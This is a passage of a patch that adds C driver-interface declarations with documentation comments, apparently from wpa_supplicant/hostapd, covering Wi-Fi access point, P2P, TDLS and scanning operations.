* @params: BSS parameters + * Returns: 0 on success, -1 on failure + * + * This is an optional function to configure the kernel driver to + * enable/disable IEEE 802.1X support and set WPA/WPA2 parameters. This + * can be left undefined (set to %NULL) if IEEE 802.1X support is + * always enabled and the driver uses set_ap() to set WPA/RSN IE + * for Beacon frames. + * + * DEPRECATED - use set_ap() instead + */ + int (*set_ieee8021x)(void *priv, struct wpa_bss_params *params); + + /** + * set_privacy - Enable/disable privacy (AP only) + * @priv: Private driver interface data + * @enabled: 1 = privacy enabled, 0 = disabled + * Returns: 0 on success, -1 on failure + * + * This is an optional function to configure privacy field in the + * kernel driver for Beacon frames. This can be left undefined (set to + * %NULL) if the driver uses the Beacon template from set_ap(). + * + * DEPRECATED - use set_ap() instead + */ + int (*set_privacy)(void *priv, int enabled); + + /** + * get_seqnum - Fetch the current TSC/packet number (AP only) + * @ifname: The interface name (main or virtual) + * @priv: Private driver interface data + * @addr: MAC address of the station or %NULL for group keys + * @idx: Key index + * @seq: Buffer for returning the latest used TSC/packet number + * Returns: 0 on success, -1 on failure + * + * This function is used to fetch the last used TSC/packet number for + * a TKIP, CCMP, GCMP, or BIP/IGTK key. It is mainly used with group + * keys, so there is no strict requirement on implementing support for + * unicast keys (i.e., addr != %NULL). + */ + int (*get_seqnum)(const char *ifname, void *priv, const u8 *addr, + int idx, u8 *seq); + + /** + * flush - Flush all association stations (AP only) + * @priv: Private driver interface data + * Returns: 0 on success, -1 on failure + * + * This function requests the driver to disassociate all associated + * stations. This function does not need to be implemented if the + * driver does not process association frames internally. + */ + int (*flush)(void *priv); + + /** + * set_generic_elem - Add IEs into Beacon/Probe Response frames (AP) + * @priv: Private driver interface data + * @elem: Information elements + * @elem_len: Length of the elem buffer in octets + * Returns: 0 on success, -1 on failure + * + * This is an optional function to add information elements in the + * kernel driver for Beacon and Probe Response frames. This can be left + * undefined (set to %NULL) if the driver uses the Beacon template from + * set_ap(). + * + * DEPRECATED - use set_ap() instead + */ + int (*set_generic_elem)(void *priv, const u8 *elem, size_t elem_len); + + /** + * read_sta_data - Fetch station data + * @priv: Private driver interface data + * @data: Buffer for returning station information + * @addr: MAC address of the station + * Returns: 0 on success, -1 on failure + */ + int (*read_sta_data)(void *priv, struct hostap_sta_driver_data *data, + const u8 *addr); + + /** + * hapd_send_eapol - Send an EAPOL packet (AP only) + * @priv: private driver interface data + * @addr: Destination MAC address + * @data: EAPOL packet starting with IEEE 802.1X header + * @data_len: Length of the EAPOL packet in octets + * @encrypt: Whether the frame should be encrypted + * @own_addr: Source MAC address + * @flags: WPA_STA_* flags for the destination station + * + * Returns: 0 on success, -1 on failure + */ + int (*hapd_send_eapol)(void *priv, const u8 *addr, const u8 *data, + size_t data_len, int encrypt, + const u8 *own_addr, u32 flags); + + /** + * sta_deauth - Deauthenticate a station (AP only) + * @priv: Private driver interface data + * @own_addr: Source address and BSSID for the Deauthentication frame + * @addr: MAC address of the station to deauthenticate + * @reason: Reason code for the Deauthentiation frame + * Returns: 0 on success, -1 on failure + * + * This function requests a specific station to be deauthenticated and + * a Deauthentication frame to be sent to it. + */ + int (*sta_deauth)(void *priv, const u8 *own_addr, const u8 *addr, + int reason); + + /** + * sta_disassoc - Disassociate a station (AP only) + * @priv: Private driver interface data + * @own_addr: Source address and BSSID for the Disassociation frame + * @addr: MAC address of the station to disassociate + * @reason: Reason code for the Disassociation frame + * Returns: 0 on success, -1 on failure + * + * This function requests a specific station to be disassociated and + * a Disassociation frame to be sent to it. + */ + int (*sta_disassoc)(void *priv, const u8 *own_addr, const u8 *addr, + int reason); + + /** + * sta_remove - Remove a station entry (AP only) + * @priv: Private driver interface data + * @addr: MAC address of the station to be removed + * Returns: 0 on success, -1 on failure + */ + int (*sta_remove)(void *priv, const u8 *addr); + + /** + * hapd_get_ssid - Get the current SSID (AP only) + * @priv: Private driver interface data + * @buf: Buffer for returning the SSID + * @len: Maximum length of the buffer + * Returns: Length of the SSID on success, -1 on failure + * + * This function need not be implemented if the driver uses Beacon + * template from set_ap() and does not reply to Probe Request frames. + */ + int (*hapd_get_ssid)(void *priv, u8 *buf, int len); + + /** + * hapd_set_ssid - Set SSID (AP only) + * @priv: Private driver interface data + * @buf: SSID + * @len: Length of the SSID in octets + * Returns: 0 on success, -1 on failure + * + * DEPRECATED - use set_ap() instead + */ + int (*hapd_set_ssid)(void *priv, const u8 *buf, int len); + + /** + * hapd_set_countermeasures - Enable/disable TKIP countermeasures (AP) + * @priv: Private driver interface data + * @enabled: 1 = countermeasures enabled, 0 = disabled + * Returns: 0 on success, -1 on failure + * + * This need not be implemented if the driver does not take care of + * association processing. + */ + int (*hapd_set_countermeasures)(void *priv, int enabled); + + /** + * sta_add - Add a station entry + * @priv: Private driver interface data + * @params: Station parameters + * Returns: 0 on success, -1 on failure + * + * This function is used to add a station entry to the driver once the + * station has completed association. This is only used if the driver + * does not take care of association processing. + * + * With TDLS, this function is also used to add or set (params->set 1) + * TDLS peer entries. + */ + int (*sta_add)(void *priv, struct hostapd_sta_add_params *params); + + /** + * get_inact_sec - Get station inactivity duration (AP only) + * @priv: Private driver interface data + * @addr: Station address + * Returns: Number of seconds station has been inactive, -1 on failure + */ + int (*get_inact_sec)(void *priv, const u8 *addr); + + /** + * sta_clear_stats - Clear station statistics (AP only) + * @priv: Private driver interface data + * @addr: Station address + * Returns: 0 on success, -1 on failure + */ + int (*sta_clear_stats)(void *priv, const u8 *addr); + + /** + * set_freq - Set channel/frequency (AP only) + * @priv: Private driver interface data + * @freq: Channel parameters + * Returns: 0 on success, -1 on failure + */ + int (*set_freq)(void *priv, struct hostapd_freq_params *freq); + + /** + * set_rts - Set RTS threshold + * @priv: Private driver interface data + * @rts: RTS threshold in octets + * Returns: 0 on success, -1 on failure + */ + int (*set_rts)(void *priv, int rts); + + /** + * set_frag - Set fragmentation threshold + * @priv: Private driver interface data + * @frag: Fragmentation threshold in octets + * Returns: 0 on success, -1 on failure + */ + int (*set_frag)(void *priv, int frag); + + /** + * sta_set_flags - Set station flags (AP only) + * @priv: Private driver interface data + * @addr: Station address + * @total_flags: Bitmap of all WPA_STA_* flags currently set + * @flags_or: Bitmap of WPA_STA_* flags to add + * @flags_and: Bitmap of WPA_STA_* flags to us as a mask + * Returns: 0 on success, -1 on failure + */ + int (*sta_set_flags)(void *priv, const u8 *addr, + int total_flags, int flags_or, int flags_and); + + /** + * set_tx_queue_params - Set TX queue parameters + * @priv: Private driver interface data + * @queue: Queue number (0 = VO, 1 = VI, 2 = BE, 3 = BK) + * @aifs: AIFS + * @cw_min: cwMin + * @cw_max: cwMax + * @burst_time: Maximum length for bursting in 0.1 msec units + */ + int (*set_tx_queue_params)(void *priv, int queue, int aifs, int cw_min, + int cw_max, int burst_time); + + /** + * if_add - Add a virtual interface + * @priv: Private driver interface data + * @type: Interface type + * @ifname: Interface name for the new virtual interface + * @addr: Local address to use for the interface or %NULL to use the + * parent interface address + * @bss_ctx: BSS context for %WPA_IF_AP_BSS interfaces + * @drv_priv: Pointer for overwriting the driver context or %NULL if + * not allowed (applies only to %WPA_IF_AP_BSS type) + * @force_ifname: Buffer for returning an interface name that the + * driver ended up using if it differs from the requested ifname + * @if_addr: Buffer for returning the allocated interface address + * (this may differ from the requested addr if the driver cannot + * change interface address) + * @bridge: Bridge interface to use or %NULL if no bridge configured + * @use_existing: Whether to allow existing interface to be used + * Returns: 0 on success, -1 on failure + */ + int (*if_add)(void *priv, enum wpa_driver_if_type type, + const char *ifname, const u8 *addr, void *bss_ctx, + void **drv_priv, char *force_ifname, u8 *if_addr, + const char *bridge, int use_existing); + + /** + * if_remove - Remove a virtual interface + * @priv: Private driver interface data + * @type: Interface type + * @ifname: Interface name of the virtual interface to be removed + * Returns: 0 on success, -1 on failure + */ + int (*if_remove)(void *priv, enum wpa_driver_if_type type, + const char *ifname); + + /** + * set_sta_vlan - Bind a station into a specific interface (AP only) + * @priv: Private driver interface data + * @ifname: Interface (main or virtual BSS or VLAN) + * @addr: MAC address of the associated station + * @vlan_id: VLAN ID + * Returns: 0 on success, -1 on failure + * + * This function is used to bind a station to a specific virtual + * interface. It is only used if when virtual interfaces are supported, + * e.g., to assign stations to different VLAN interfaces based on + * information from a RADIUS server. This allows separate broadcast + * domains to be used with a single BSS. + */ + int (*set_sta_vlan)(void *priv, const u8 *addr, const char *ifname, + int vlan_id); + + /** + * commit - Optional commit changes handler (AP only) + * @priv: driver private data + * Returns: 0 on success, -1 on failure + * + * This optional handler function can be registered if the driver + * interface implementation needs to commit changes (e.g., by setting + * network interface up) at the end of initial configuration. If set, + * this handler will be called after initial setup has been completed. + */ + int (*commit)(void *priv); + + /** + * send_ether - Send an ethernet packet (AP only) + * @priv: private driver interface data + * @dst: Destination MAC address + * @src: Source MAC address + * @proto: Ethertype + * @data: EAPOL packet starting with IEEE 802.1X header + * @data_len: Length of the EAPOL packet in octets + * Returns: 0 on success, -1 on failure + */ + int (*send_ether)(void *priv, const u8 *dst, const u8 *src, u16 proto, + const u8 *data, size_t data_len); + + /** + * set_radius_acl_auth - Notification of RADIUS ACL change + * @priv: Private driver interface data + * @mac: MAC address of the station + * @accepted: Whether the station was accepted + * @session_timeout: Session timeout for the station + * Returns: 0 on success, -1 on failure + */ + int (*set_radius_acl_auth)(void *priv, const u8 *mac, int accepted, + u32 session_timeout); + + /** + * set_radius_acl_expire - Notification of RADIUS ACL expiration + * @priv: Private driver interface data + * @mac: MAC address of the station + * Returns: 0 on success, -1 on failure + */ + int (*set_radius_acl_expire)(void *priv, const u8 *mac); + + /** + * set_ap_wps_ie - Add WPS IE(s) into Beacon/Probe Response frames (AP) + * @priv: Private driver interface data + * @beacon: WPS IE(s) for Beacon frames or %NULL to remove extra IE(s) + * @proberesp: WPS IE(s) for Probe Response frames or %NULL to remove + * extra IE(s) + * @assocresp: WPS IE(s) for (Re)Association Response frames or %NULL + * to remove extra IE(s) + * Returns: 0 on success, -1 on failure + * + * This is an optional function to add WPS IE in the kernel driver for + * Beacon and Probe Response frames. This can be left undefined (set + * to %NULL) if the driver uses the Beacon template from set_ap() + * and does not process Probe Request frames. If the driver takes care + * of (Re)Association frame processing, the assocresp buffer includes + * WPS IE(s) that need to be added to (Re)Association Response frames + * whenever a (Re)Association Request frame indicated use of WPS. + * + * This will also be used to add P2P IE(s) into Beacon/Probe Response + * frames when operating as a GO. The driver is responsible for adding + * timing related attributes (e.g., NoA) in addition to the IEs + * included here by appending them after these buffers. This call is + * also used to provide Probe Response IEs for P2P Listen state + * operations for drivers that generate the Probe Response frames + * internally. + * + * DEPRECATED - use set_ap() instead + */ + int (*set_ap_wps_ie)(void *priv, const struct wpabuf *beacon, + const struct wpabuf *proberesp, + const struct wpabuf *assocresp); + + /** + * set_supp_port - Set IEEE 802.1X Supplicant Port status + * @priv: Private driver interface data + * @authorized: Whether the port is authorized + * Returns: 0 on success, -1 on failure + */ + int (*set_supp_port)(void *priv, int authorized); + + /** + * set_wds_sta - Bind a station into a 4-address WDS (AP only) + * @priv: Private driver interface data + * @addr: MAC address of the associated station + * @aid: Association ID + * @val: 1 = bind to 4-address WDS; 0 = unbind + * @bridge_ifname: Bridge interface to use for the WDS station or %NULL + * to indicate that bridge is not to be used + * @ifname_wds: Buffer to return the interface name for the new WDS + * station or %NULL to indicate name is not returned. + * Returns: 0 on success, -1 on failure + */ + int (*set_wds_sta)(void *priv, const u8 *addr, int aid, int val, + const char *bridge_ifname, char *ifname_wds); + + /** + * send_action - Transmit an Action frame + * @priv: Private driver interface data + * @freq: Frequency (in MHz) of the channel + * @wait: Time to wait off-channel for a response (in ms), or zero + * @dst: Destination MAC address (Address 1) + * @src: Source MAC address (Address 2) + * @bssid: BSSID (Address 3) + * @data: Frame body + * @data_len: data length in octets + @ @no_cck: Whether CCK rates must not be used to transmit this frame + * Returns: 0 on success, -1 on failure + * + * This command can be used to request the driver to transmit an action + * frame to the specified destination. + * + * If the %WPA_DRIVER_FLAGS_OFFCHANNEL_TX flag is set, the frame will + * be transmitted on the given channel and the device will wait for a + * response on that channel for the given wait time. + * + * If the flag is not set, the wait time will be ignored. In this case, + * if a remain-on-channel duration is in progress, the frame must be + * transmitted on that channel; alternatively the frame may be sent on + * the current operational channel (if in associated state in station + * mode or while operating as an AP.) + */ + int (*send_action)(void *priv, unsigned int freq, unsigned int wait, + const u8 *dst, const u8 *src, const u8 *bssid, + const u8 *data, size_t data_len, int no_cck); + + /** + * send_action_cancel_wait - Cancel action frame TX wait + * @priv: Private driver interface data + * + * This command cancels the wait time associated with sending an action + * frame. It is only available when %WPA_DRIVER_FLAGS_OFFCHANNEL_TX is + * set in the driver flags. + */ + void (*send_action_cancel_wait)(void *priv); + + /** + * remain_on_channel - Remain awake on a channel + * @priv: Private driver interface data + * @freq: Frequency (in MHz) of the channel + * @duration: Duration in milliseconds + * Returns: 0 on success, -1 on failure + * + * This command is used to request the driver to remain awake on the + * specified channel for the specified duration and report received + * Action frames with EVENT_RX_ACTION events. Optionally, received + * Probe Request frames may also be requested to be reported by calling + * probe_req_report(). These will be reported with EVENT_RX_PROBE_REQ. + * + * The driver may not be at the requested channel when this function + * returns, i.e., the return code is only indicating whether the + * request was accepted. The caller will need to wait until the + * EVENT_REMAIN_ON_CHANNEL event indicates that the driver has + * completed the channel change. This may take some time due to other + * need for the radio and the caller should be prepared to timing out + * its wait since there are no guarantees on when this request can be + * executed. + */ + int (*remain_on_channel)(void *priv, unsigned int freq, + unsigned int duration); + + /** + * cancel_remain_on_channel - Cancel remain-on-channel operation + * @priv: Private driver interface data + * + * This command can be used to cancel a remain-on-channel operation + * before its originally requested duration has passed. This could be + * used, e.g., when remain_on_channel() is used to request extra time + * to receive a response to an Action frame and the response is + * received when there is still unneeded time remaining on the + * remain-on-channel operation. + */ + int (*cancel_remain_on_channel)(void *priv); + + /** + * probe_req_report - Request Probe Request frames to be indicated + * @priv: Private driver interface data + * @report: Whether to report received Probe Request frames + * Returns: 0 on success, -1 on failure (or if not supported) + * + * This command can be used to request the driver to indicate when + * Probe Request frames are received with EVENT_RX_PROBE_REQ events. + * Since this operation may require extra resources, e.g., due to less + * optimal hardware/firmware RX filtering, many drivers may disable + * Probe Request reporting at least in station mode. This command is + * used to notify the driver when the Probe Request frames need to be + * reported, e.g., during remain-on-channel operations. + */ + int (*probe_req_report)(void *priv, int report); + + /** + * deinit_ap - Deinitialize AP mode + * @priv: Private driver interface data + * Returns: 0 on success, -1 on failure (or if not supported) + * + * This optional function can be used to disable AP mode related + * configuration. If the interface was not dynamically added, + * change the driver mode to station mode to allow normal station + * operations like scanning to be completed. + */ + int (*deinit_ap)(void *priv); + + /** + * deinit_p2p_cli - Deinitialize P2P client mode + * @priv: Private driver interface data + * Returns: 0 on success, -1 on failure (or if not supported) + * + * This optional function can be used to disable P2P client mode. If the + * interface was not dynamically added, change the interface type back + * to station mode. + */ + int (*deinit_p2p_cli)(void *priv); + + /** + * suspend - Notification on system suspend/hibernate event + * @priv: Private driver interface data + */ + void (*suspend)(void *priv); + + /** + * resume - Notification on system resume/thaw event + * @priv: Private driver interface data + */ + void (*resume)(void *priv); + + /** + * signal_monitor - Set signal monitoring parameters + * @priv: Private driver interface data + * @threshold: Threshold value for signal change events; 0 = disabled + * @hysteresis: Minimum change in signal strength before indicating a + * new event + * Returns: 0 on success, -1 on failure (or if not supported) + * + * This function can be used to configure monitoring of signal strength + * with the current AP. Whenever signal strength drops below the + * %threshold value or increases above it, EVENT_SIGNAL_CHANGE event + * should be generated assuming the signal strength has changed at + * least %hysteresis from the previously indicated signal change event. + */ + int (*signal_monitor)(void *priv, int threshold, int hysteresis); + + /** + * send_frame - Send IEEE 802.11 frame (testing use only) + * @priv: Private driver interface data + * @data: IEEE 802.11 frame with IEEE 802.11 header + * @data_len: Size of the frame + * @encrypt: Whether to encrypt the frame (if keys are set) + * Returns: 0 on success, -1 on failure + * + * This function is only used for debugging purposes and is not + * required to be implemented for normal operations. + */ + int (*send_frame)(void *priv, const u8 *data, size_t data_len, + int encrypt); + + /** + * shared_freq - Get operating frequency of shared interface(s) + * @priv: Private driver interface data + * Returns: Operating frequency in MHz, 0 if no shared operation in + * use, or -1 on failure + * + * This command can be used to request the current operating frequency + * of any virtual interface that shares the same radio to provide + * information for channel selection for other virtual interfaces. + */ + int (*shared_freq)(void *priv); + + /** + * get_noa - Get current Notice of Absence attribute payload + * @priv: Private driver interface data + * @buf: Buffer for returning NoA + * @buf_len: Buffer length in octets + * Returns: Number of octets used in buf, 0 to indicate no NoA is being + * advertized, or -1 on failure + * + * This function is used to fetch the current Notice of Absence + * attribute value from GO. + */ + int (*get_noa)(void *priv, u8 *buf, size_t buf_len); + + /** + * set_noa - Set Notice of Absence parameters for GO (testing) + * @priv: Private driver interface data + * @count: Count + * @start: Start time in ms from next TBTT + * @duration: Duration in ms + * Returns: 0 on success or -1 on failure + * + * This function is used to set Notice of Absence parameters for GO. It + * is used only for testing. To disable NoA, all parameters are set to + * 0. + */ + int (*set_noa)(void *priv, u8 count, int start, int duration); + + /** + * set_p2p_powersave - Set P2P power save options + * @priv: Private driver interface data + * @legacy_ps: 0 = disable, 1 = enable, 2 = maximum PS, -1 = no change + * @opp_ps: 0 = disable, 1 = enable, -1 = no change + * @ctwindow: 0.. = change (msec), -1 = no change + * Returns: 0 on success or -1 on failure + */ + int (*set_p2p_powersave)(void *priv, int legacy_ps, int opp_ps, + int ctwindow); + + /** + * ampdu - Enable/disable aggregation + * @priv: Private driver interface data + * @ampdu: 1/0 = enable/disable A-MPDU aggregation + * Returns: 0 on success or -1 on failure + */ + int (*ampdu)(void *priv, int ampdu); + + /** + * get_radio_name - Get physical radio name for the device + * @priv: Private driver interface data + * Returns: Radio name or %NULL if not known + * + * The returned data must not be modified by the caller. It is assumed + * that any interface that has the same radio name as another is + * sharing the same physical radio. This information can be used to + * share scan results etc. information between the virtual interfaces + * to speed up various operations. + */ + const char * (*get_radio_name)(void *priv); + + /** + * p2p_find - Start P2P Device Discovery + * @priv: Private driver interface data + * @timeout: Timeout for find operation in seconds or 0 for no timeout + * @type: Device Discovery type (enum p2p_discovery_type) + * Returns: 0 on success, -1 on failure + * + * This function is only used if the driver implements P2P management, + * i.e., if it sets WPA_DRIVER_FLAGS_P2P_MGMT in + * struct wpa_driver_capa. + */ + int (*p2p_find)(void *priv, unsigned int timeout, int type); + + /** + * p2p_stop_find - Stop P2P Device Discovery + * @priv: Private driver interface data + * Returns: 0 on success, -1 on failure + * + * This function is only used if the driver implements P2P management, + * i.e., if it sets WPA_DRIVER_FLAGS_P2P_MGMT in + * struct wpa_driver_capa. + */ + int (*p2p_stop_find)(void *priv); + + /** + * p2p_listen - Start P2P Listen state for specified duration + * @priv: Private driver interface data + * @timeout: Listen state duration in milliseconds + * Returns: 0 on success, -1 on failure + * + * This function can be used to request the P2P module to keep the + * device discoverable on the listen channel for an extended set of + * time. At least in its current form, this is mainly used for testing + * purposes and may not be of much use for normal P2P operations. + * + * This function is only used if the driver implements P2P management, + * i.e., if it sets WPA_DRIVER_FLAGS_P2P_MGMT in + * struct wpa_driver_capa. + */ + int (*p2p_listen)(void *priv, unsigned int timeout); + + /** + * p2p_connect - Start P2P group formation (GO negotiation) + * @priv: Private driver interface data + * @peer_addr: MAC address of the peer P2P client + * @wps_method: enum p2p_wps_method value indicating config method + * @go_intent: Local GO intent value (1..15) + * @own_interface_addr: Intended interface address to use with the + * group + * @force_freq: The only allowed channel frequency in MHz or 0 + * @persistent_group: Whether to create persistent group + * Returns: 0 on success, -1 on failure + * + * This function is only used if the driver implements P2P management, + * i.e., if it sets WPA_DRIVER_FLAGS_P2P_MGMT in + * struct wpa_driver_capa. + */ + int (*p2p_connect)(void *priv, const u8 *peer_addr, int wps_method, + int go_intent, const u8 *own_interface_addr, + unsigned int force_freq, int persistent_group); + + /** + * wps_success_cb - Report successfully completed WPS provisioning + * @priv: Private driver interface data + * @peer_addr: Peer address + * Returns: 0 on success, -1 on failure + * + * This function is used to report successfully completed WPS + * provisioning during group formation in both GO/Registrar and + * client/Enrollee roles. + * + * This function is only used if the driver implements P2P management, + * i.e., if it sets WPA_DRIVER_FLAGS_P2P_MGMT in + * struct wpa_driver_capa. + */ + int (*wps_success_cb)(void *priv, const u8 *peer_addr); + + /** + * p2p_group_formation_failed - Report failed WPS provisioning + * @priv: Private driver interface data + * Returns: 0 on success, -1 on failure + * + * This function is used to report failed group formation. This can + * happen either due to failed WPS provisioning or due to 15 second + * timeout during the provisioning phase. + * + * This function is only used if the driver implements P2P management, + * i.e., if it sets WPA_DRIVER_FLAGS_P2P_MGMT in + * struct wpa_driver_capa. + */ + int (*p2p_group_formation_failed)(void *priv); + + /** + * p2p_set_params - Set P2P parameters + * @priv: Private driver interface data + * @params: P2P parameters + * Returns: 0 on success, -1 on failure + * + * This function is only used if the driver implements P2P management, + * i.e., if it sets WPA_DRIVER_FLAGS_P2P_MGMT in + * struct wpa_driver_capa. + */ + int (*p2p_set_params)(void *priv, const struct p2p_params *params); + + /** + * p2p_prov_disc_req - Send Provision Discovery Request + * @priv: Private driver interface data + * @peer_addr: MAC address of the peer P2P client + * @config_methods: WPS Config Methods value (only one bit set) + * Returns: 0 on success, -1 on failure + * + * This function can be used to request a discovered P2P peer to + * display a PIN (config_methods = WPS_CONFIG_DISPLAY) or be prepared + * to enter a PIN from us (config_methods = WPS_CONFIG_KEYPAD). The + * Provision Discovery Request frame is transmitted once immediately + * and if no response is received, the frame will be sent again + * whenever the target device is discovered during device dsicovery + * (start with a p2p_find() call). Response from the peer is indicated + * with the EVENT_P2P_PROV_DISC_RESPONSE event. + * + * This function is only used if the driver implements P2P management, + * i.e., if it sets WPA_DRIVER_FLAGS_P2P_MGMT in + * struct wpa_driver_capa. + */ + int (*p2p_prov_disc_req)(void *priv, const u8 *peer_addr, + u16 config_methods, int join); + + /** + * p2p_sd_request - Schedule a service discovery query + * @priv: Private driver interface data + * @dst: Destination peer or %NULL to apply for all peers + * @tlvs: P2P Service Query TLV(s) + * Returns: Reference to the query or 0 on failure + * + * Response to the query is indicated with the + * EVENT_P2P_SD_RESPONSE driver event. + * + * This function is only used if the driver implements P2P management, + * i.e., if it sets WPA_DRIVER_FLAGS_P2P_MGMT in + * struct wpa_driver_capa. + */ + u64 (*p2p_sd_request)(void *priv, const u8 *dst, + const struct wpabuf *tlvs); + + /** + * p2p_sd_cancel_request - Cancel a pending service discovery query + * @priv: Private driver interface data + * @req: Query reference from p2p_sd_request() + * Returns: 0 on success, -1 on failure + * + * This function is only used if the driver implements P2P management, + * i.e., if it sets WPA_DRIVER_FLAGS_P2P_MGMT in + * struct wpa_driver_capa. + */ + int (*p2p_sd_cancel_request)(void *priv, u64 req); + + /** + * p2p_sd_response - Send response to a service discovery query + * @priv: Private driver interface data + * @freq: Frequency from EVENT_P2P_SD_REQUEST event + * @dst: Destination address from EVENT_P2P_SD_REQUEST event + * @dialog_token: Dialog token from EVENT_P2P_SD_REQUEST event + * @resp_tlvs: P2P Service Response TLV(s) + * Returns: 0 on success, -1 on failure + * + * This function is called as a response to the request indicated with + * the EVENT_P2P_SD_REQUEST driver event. + * + * This function is only used if the driver implements P2P management, + * i.e., if it sets WPA_DRIVER_FLAGS_P2P_MGMT in + * struct wpa_driver_capa. + */ + int (*p2p_sd_response)(void *priv, int freq, const u8 *dst, + u8 dialog_token, + const struct wpabuf *resp_tlvs); + + /** + * p2p_service_update - Indicate a change in local services + * @priv: Private driver interface data + * Returns: 0 on success, -1 on failure + * + * This function needs to be called whenever there is a change in + * availability of the local services. This will increment the + * Service Update Indicator value which will be used in SD Request and + * Response frames. + * + * This function is only used if the driver implements P2P management, + * i.e., if it sets WPA_DRIVER_FLAGS_P2P_MGMT in + * struct wpa_driver_capa. + */ + int (*p2p_service_update)(void *priv); + + /** + * p2p_reject - Reject peer device (explicitly block connections) + * @priv: Private driver interface data + * @addr: MAC address of the peer + * Returns: 0 on success, -1 on failure + */ + int (*p2p_reject)(void *priv, const u8 *addr); + + /** + * p2p_invite - Invite a P2P Device into a group + * @priv: Private driver interface data + * @peer: Device Address of the peer P2P Device + * @role: Local role in the group + * @bssid: Group BSSID or %NULL if not known + * @ssid: Group SSID + * @ssid_len: Length of ssid in octets + * @go_dev_addr: Forced GO Device Address or %NULL if none + * @persistent_group: Whether this is to reinvoke a persistent group + * Returns: 0 on success, -1 on failure + */ + int (*p2p_invite)(void *priv, const u8 *peer, int role, + const u8 *bssid, const u8 *ssid, size_t ssid_len, + const u8 *go_dev_addr, int persistent_group); + + /** + * send_tdls_mgmt - for sending TDLS management packets + * @priv: private driver interface data + * @dst: Destination (peer) MAC address + * @action_code: TDLS action code for the mssage + * @dialog_token: Dialog Token to use in the message (if needed) + * @status_code: Status Code or Reason Code to use (if needed) + * @buf: TDLS IEs to add to the message + * @len: Length of buf in octets + * Returns: 0 on success, negative (<0) on failure + * + * This optional function can be used to send packet to driver which is + * responsible for receiving and sending all TDLS packets. + */ + int (*send_tdls_mgmt)(void *priv, const u8 *dst, u8 action_code, + u8 dialog_token, u16 status_code, + const u8 *buf, size_t len); + + /** + * tdls_oper - Ask the driver to perform high-level TDLS operations + * @priv: Private driver interface data + * @oper: TDLS high-level operation. See %enum tdls_oper + * @peer: Destination (peer) MAC address + * Returns: 0 on success, negative (<0) on failure + * + * This optional function can be used to send high-level TDLS commands + * to the driver. + */ + int (*tdls_oper)(void *priv, enum tdls_oper oper, const u8 *peer); + + /** + * wnm_oper - Notify driver of the WNM frame reception + * @priv: Private driver interface data + * @oper: WNM operation. See %enum wnm_oper + * @peer: Destination (peer) MAC address + * @buf: Buffer for the driver to fill in (for getting IE) + * @buf_len: Return the len of buf + * Returns: 0 on success, negative (<0) on failure + */ + int (*wnm_oper)(void *priv, enum wnm_oper oper, const u8 *peer, + u8 *buf, u16 *buf_len); + + /** + * set_qos_map - Set QoS Map + * @priv: Private driver interface data + * @qos_map_set: QoS Map + * @qos_map_set_len: Length of QoS Map + */ + int (*set_qos_map)(void *priv, const u8 *qos_map_set, + u8 qos_map_set_len); + + /** + * signal_poll - Get current connection information + * @priv: Private driver interface data + * @signal_info: Connection info structure + */ + int (*signal_poll)(void *priv, struct wpa_signal_info *signal_info); + + /** + * set_authmode - Set authentication algorithm(s) for static WEP + * @priv: Private driver interface data + * @authmode: 1=Open System, 2=Shared Key, 3=both + * Returns: 0 on success, -1 on failure + * + * This function can be used to set authentication algorithms for AP + * mode when static WEP is used. If the driver uses user space MLME/SME + * implementation, there is no need to implement this function. + * + * DEPRECATED - use set_ap() instead + */ + int (*set_authmode)(void *priv, int authmode); + +#ifdef ANDROID + /** + * driver_cmd - Execute driver-specific command + * @priv: Private driver interface data + * @cmd: Command to execute + * @buf: Return buffer + * @buf_len: Buffer length + * Returns: 0 on success, -1 on failure + */ + int (*driver_cmd)(void *priv, char *cmd, char *buf, size_t buf_len); +#endif /* ANDROID */ + + /** + * set_rekey_info - Set rekey information + * @priv: Private driver interface data + * @kek: Current KEK + * @kck: Current KCK + * @replay_ctr: Current EAPOL-Key Replay Counter + * + * This optional function can be used to provide information for the + * driver/firmware to process EAPOL-Key frames in Group Key Handshake + * while the host (including wpa_supplicant) is sleeping. + */ + void (*set_rekey_info)(void *priv, const u8 *kek, const u8 *kck, + const u8 *replay_ctr); + + /** + * sta_assoc - Station association indication + * @priv: Private driver interface data + * @own_addr: Source address and BSSID for association frame + * @addr: MAC address of the station to associate + * @reassoc: flag to indicate re-association + * @status: association response status code + * @ie: assoc response ie buffer + * @len: ie buffer length + * Returns: 0 on success, -1 on failure + * + * This function indicates the driver to send (Re)Association + * Response frame to the station. + */ + int (*sta_assoc)(void *priv, const u8 *own_addr, const u8 *addr, + int reassoc, u16 status, const u8 *ie, size_t len); + + /** + * sta_auth - Station authentication indication + * @priv: Private driver interface data + * @own_addr: Source address and BSSID for authentication frame + * @addr: MAC address of the station to associate + * @seq: authentication sequence number + * @status: authentication response status code + * @ie: authentication frame ie buffer + * @len: ie buffer length + * + * This function indicates the driver to send Authentication frame + * to the station. + */ + int (*sta_auth)(void *priv, const u8 *own_addr, const u8 *addr, + u16 seq, u16 status, const u8 *ie, size_t len); + + /** + * add_tspec - Add traffic stream + * @priv: Private driver interface data + * @addr: MAC address of the station to associate + * @tspec_ie: tspec ie buffer + * @tspec_ielen: tspec ie length + * Returns: 0 on success, -1 on failure + * + * This function adds the traffic steam for the station + * and fills the medium_time in tspec_ie. + */ + int (*add_tspec)(void *priv, const u8 *addr, u8 *tspec_ie, + size_t tspec_ielen); + + /** + * add_sta_node - Add a station node in the driver + * @priv: Private driver interface data + * @addr: MAC address of the station to add + * @auth_alg: authentication algorithm used by the station + * Returns: 0 on success, -1 on failure + * + * This function adds the station node in the driver, when + * the station gets added by FT-over-DS. + */ + int (*add_sta_node)(void *priv, const u8 *addr, u16 auth_alg); + + /** + * sched_scan - Request the driver to initiate scheduled scan + * @priv: Private driver interface data + * @params: Scan parameters + * @interval: Interval between scan cycles in milliseconds + * Returns: 0 on success, -1 on failure + * + * This operation should be used for scheduled scan offload to + * the hardware. Every time scan results are available, the + * driver should report scan results event for wpa_supplicant + * which will eventually request the results with + * wpa_driver_get_scan_results2(). This operation is optional + * and if not provided or if it returns -1, we fall back to + * normal host-scheduled scans. + */ + int (*sched_scan)(void *priv, struct wpa_driver_scan_params *params, + u32 interval); + + /** + * stop_sched_scan - Request the driver to stop a scheduled scan + * @priv: Private driver interface data + * Returns: 0 on success, -1 on failure + * + * This should cause the scheduled scan to be stopped and + * results should stop being sent. Must be supported if + * sched_scan is supported. + */ + int (*stop_sched_scan)(void *priv); + + /** + * poll_client - Probe (null data or such) the given station + * @priv: Private driver interface data + * @own_addr: MAC address of sending interface + * @addr: MAC 